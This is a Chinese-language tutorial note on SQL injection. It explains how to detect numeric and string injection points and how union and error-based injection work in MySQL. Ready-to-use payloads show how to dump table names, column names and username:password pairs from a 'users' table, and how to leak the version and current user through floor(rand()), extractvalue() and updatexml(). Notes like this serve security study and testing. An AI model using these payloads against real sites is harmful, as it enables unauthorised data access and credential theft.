报错注入原理 根据注入位置数据类型可将SQl注入分为两类:数字型和字符型。 例如: 数字型:select * from table where id=用户id 字符型:select * from table where id=‘用户id’ 通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URl中是否存在注入点。
构造payload让信息通过错误提示回显出来。 应用场景:查询不回显内容,会打印错误信息 update、insert等语句,会打印错误信息
此时可以利用order by判断字段数。
SQL union操作符 union操作符用于合并两个或多个select语句的结果集 注意:union内部的select语句必须拥有相同的数量的列,列也必须拥有相似的数据类型。同时,每条select语句中的列的顺序必须相同。 默认情况下,union操作符选取不同的值。如果允许重复的值,请使用union all. union注入应用场景: 1、只有最后一个select子语句允许有order by 2、只有最后一个select子语句允许有limit 3、只要union连接的几个查询的字段数一样并且列的数据类型转换没有问题,就可以查询出结果。 4、注入页面有回显。 利用union select 联合查询,获取表名。 0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 利用union select 联合查询,获取字段名。 0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+ 利用union select 联合查询,获取字段值 0’ union select 1,group_concat(username,0x3a,password),3 from users --+
报错注入方法 凡是可以让错误信息显示的函数(语句),都能实现报错注入,例如: floor() |select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)); group by 对rand函数进行操作时产生错误 concat: 连接字符串功能 floor: 取float的整数值 rand: 取0-1之间随机浮点数 group by: 根据一个或多个列表结果集进行分组并有排序功能。
extractvalue() extractvalue(1,concat*(0x7e,(select user()),0x7e)) XPATH语法错误产生报错 updatexml() select updatexml(1,concat(0x7e,(select user()),0x7e),1) XPATH语法错误产生报错。